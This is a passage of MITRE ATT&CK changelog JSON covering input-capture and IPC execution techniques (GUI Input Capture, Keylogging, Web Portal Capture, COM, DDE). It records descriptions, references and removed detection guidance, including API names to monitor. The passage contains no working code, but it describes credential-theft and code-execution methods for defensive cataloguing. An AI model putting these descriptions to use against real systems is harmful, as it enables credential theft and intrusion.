"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Metadata\", \"Module: Module Load\", \"File: File Creation\", \"File: File Modification\", \"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.119000+00:00\", \"old_value\": \"2025-04-15 19:59:21.920000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\\n\\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\\n\\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\\n-\\n-Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\\n-\\n-Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Metadata)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0139: Detection of Credential Harvesting via API Hooking"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:58:45.908000+00:00",
"modified": "2025-10-24 17:49:10.643000+00:00",
"name": "GUI Input Capture",
"description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1056/002",
"external_id": "T1056.002"
},
{
"source_name": "LogRhythm Do You Trust Oct 2014",
"description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.",
"url": "https://logrhythm.com/blog/do-you-trust-your-computer/"
},
{
"source_name": "Spoofing credential dialogs",
"description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.",
"url": "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/"
},
{
"source_name": "OSX Keydnap malware",
"description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
},
{
"source_name": "Enigma Phishing for Credentials Jan 2015",
"description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.",
"url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/"
},
{
"source_name": "OSX Malware Exploits MacKeeper",
"description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
"url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Matthew Molyett, @s1air, Cisco Talos"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS",
"Windows",
"Linux"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.643000+00:00\", \"old_value\": \"2025-04-15 22:37:16.582000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \\n\\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \\n-\\n-Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. \"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1017: User Training"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0521: Behavioral Detection of Spoofed GUI Credential Prompts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:58:11.791000+00:00",
"modified": "2025-10-24 17:48:21.756000+00:00",
"name": "Keylogging",
"description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1056/001",
"external_id": "T1056.001"
},
{
"source_name": "Talos Kimsuky Nov 2021",
"description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
"url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
},
{
"source_name": "Cisco Blog Legacy Device Attacks",
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
},
{
"source_name": "Adventures of a Keystroke",
"description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
"url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"TruKno"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.756000+00:00\", \"old_value\": \"2025-04-15 19:58:03.923000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0089: Behavioral Detection of Keylogging Activity Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:59:50.058000+00:00",
"modified": "2025-10-24 17:48:54.254000+00:00",
"name": "Web Portal Capture",
"description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1056/003",
"external_id": "T1056.003"
},
{
"source_name": "Volexity Virtual Private Keylogging",
"description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
"url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:54.254000+00:00\", \"old_value\": \"2025-04-15 19:58:38.649000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0480: Detection of Credential Harvesting via Web Portal Modification"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-12 14:08:48.689000+00:00",
"modified": "2025-10-24 17:49:13.194000+00:00",
"name": "Inter-Process Communication",
"description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1559",
"external_id": "T1559"
},
{
"source_name": "Fireeye Hunting COM June 2019",
"description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
"url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
},
{
"source_name": "Linux IPC",
"description": "N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022.",
"url": "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them."
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Process: Process Creation\", \"Script: Script Execution\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.194000+00:00\", \"old_value\": \"2025-04-15 19:58:57.325000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1013: Application Developer Guidance",
"M1026: Privileged Account Management",
"M1040: Behavior Prevention on Endpoint",
"M1042: Disable or Remove Feature or Program",
"M1048: Application Isolation and Sandboxing",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Access)",
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0012: Script (Script Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0493: Detect Abuse of Inter-Process Communication (T1559)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-12 14:09:53.107000+00:00",
"modified": "2025-10-24 17:48:35.814000+00:00",
"name": "Component Object Model",
"description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1559/001",
"external_id": "T1559.001"
},
{
"source_name": "ProjectZero File Write EoP Apr 2018",
"description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
"url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html"
},
{
"source_name": "Fireeye Hunting COM June 2019",
"description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
"url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
},
{
"source_name": "Microsoft COM",
"description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
},
{
"source_name": "Enigma MMC20 COM Jan 2017",
"description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
"url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
},
{
"source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
"description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
"url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Script: Script Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.814000+00:00\", \"old_value\": \"2025-04-25 14:46:14.161000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\\n\\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\\n-\\n-Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1048: Application Isolation and Sandboxing"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0012: Script (Script Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0224: Detect Abuse of Component Object Model (T1559.001)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-12 14:10:50.699000+00:00",
"modified": "2025-10-24 17:48:31.581000+00:00",
"name": "Dynamic Data Exchange",
"description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1559/002",
"external_id": "T1559.002"
},
{
"source_name": "OWASP CSV Injection",
"description": " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022.",
"url": "https://owasp.org/www-community/attacks/CSV_Injection"
},
{
"source_name": "CSV Excel Macro Injection ",
"description": " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.",
"url": "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/"
},
{
"source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
"description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
"url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
},
{
"source_name": "SensePost PS DDE May 2016",
"description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
"url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
},
{
"source_name": "Fireeye Hunting COM June 2019",
"description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
"url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
},
{
"source_name": "Kettle CSV DDE Aug 2014",
"description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
"url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
},
{
"source_name": "Microsoft ADV170021 Dec 2017",
"description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
"url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"
},
{
"source_name": "Microsoft DDE Advisory Nov 2017",
"description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
"url": "https://technet.microsoft.com/library/security/4053440"
},
{
"source_name": "Enigma Reviving DDE Jan 2018",
"description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
"url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
},
{
"source_name": "NVisio Labs DDE Detection Oct 2017",
"description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
"url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
},
{
"source_name": "SensePost MacroLess DDE Oct 2017",
"description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
"url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.4",
